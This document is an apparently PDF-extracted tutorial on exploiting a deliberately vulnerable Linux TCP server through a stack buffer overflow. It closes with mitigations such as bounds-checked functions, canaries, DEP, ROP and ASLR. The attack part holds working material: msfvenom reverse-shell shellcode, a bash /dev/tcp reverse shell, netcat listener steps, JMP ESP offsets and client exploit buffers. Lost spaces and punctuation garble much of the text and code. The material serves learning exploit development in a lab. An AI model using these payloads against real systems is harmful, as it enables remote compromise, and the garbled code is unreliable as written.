rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb
rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100
This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this
command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers
and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb
outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP
Example
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0
Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6
Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7
Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1
Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2
Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf
4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk
YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236
Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP
value
usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236
Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis
python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample
Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands
Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a
bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode
python-cprintx901040+x454+x904
Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs
Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect
thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545
MESSAGE=x901040+x454+x901000
Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly
x45454545
Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our
NOPSletsruntheattackwiththefollowinglogicintheclientpy
MESSAGE=x901040+x454+x901000
Letrsquosswitchsomethingsupandtryanewdebuggerhellip
1 Server1337
2 Fromterminal2rarredb
3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo
4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)
5 UpdateyourclientPoCcode
6 pythonclientPoCpy1337
CodeChanges
malware=(x41100)
eip=x424
ending=x90200
nopsled=(x90(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly
Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand
corner
Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points
to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At
memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware
Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump
intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor
aJMPESPopcodetofindamemorylocationwiththatinstruction
1 runthevulnerableserver
2 startupedbdebuggerandattackthevulnerableserver
3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP
4 Manuallysearchthrougheachloadedbinaryandclicksearch
0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU
tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder
So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the
futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun
Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow
binsh-igtampdevtcp12700144440gtamp1
Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in
one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It
lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)
The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate
a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and
not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there
isanaddedlayerofcomplexity
LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes
ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs
NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general
sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as
register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often
abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine
codeinstructionsrdquo
So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But
when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing
the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work
helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos
So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters
commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it
any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the
registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip
PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip
binsh-igtampdevtcp12700144440gtamp1
encodesto
x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x
2fx34x34x34x34x20x30x3ex26x31
Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly
from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a
simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX
To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86
encodedcommandthatthekernelcaninterpret
binsh-igtampdevtcp12700144440gtamp1
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
x86encodedShellCode
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01
xd8x7dxf3xdcx9b
TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully
understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally
worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders
- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform
- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina
singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos
ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is
malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced
- f=formathellipThatcanberawCJSPshelletcetc
- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore
- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere
Wheredoweputourmalware
While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the
clientpyscriptputtingthemalwarebeforeEIPlookslikethis
NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS
Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is
important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left
manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior
because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory
address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and
unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto
HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow
malware=x41x30
eip=x97xcfxfaxb7
eip=x41x41x41x41
ending=x90200
nopsled=(x41(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then
look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote
with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register
pointertojumpintothenopsled
One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that
specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that
can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out
bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo
for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell
codeaftertheEIPsowecanjumpintoESP
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip
x86encodedShellCodewBadCharacters(Fornextsection)
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01
xd8x7dxf3xdcx9bx00x00
Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade
UpdatedclientpyCodewiththeldquoBadCharactercoderdquo
Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the
clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and
overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a
connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection
willfail
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or
WHOIScommandsLetrsquosinvestigate
1 RightclickEIPinRegisterWindowsrarrFollowinDump
2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending
3 Lookforx00commandsandtrytonoticeanythingorstrange
WhattheTargetMachineSees
Whatwesentover
We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc
etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does
not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP
CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence
of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into
various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad
charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard
So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and
omitcharacters
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow
ofhellip
1 UseagiantblobofallASCIcharactersinHEX
2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline
Howtotestforbadcharactersandotherassemblyandregisterissues
Terminal1Server1337
Terminal2edb(orGDBIwonrsquotjudge)
fromedbrarrattachrarrServer
fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning
Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory
Yoursquollbelookingforx41orx90rsquos
Option1-AlltheASCII
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10
x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20
x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30
x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40
x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50
x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60
x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80
x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0
xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0
xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0
xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0
xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0
xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Option2-Testsomespecificcommands
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto
thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest
Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution
ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime
issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo
KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor
hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO
commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
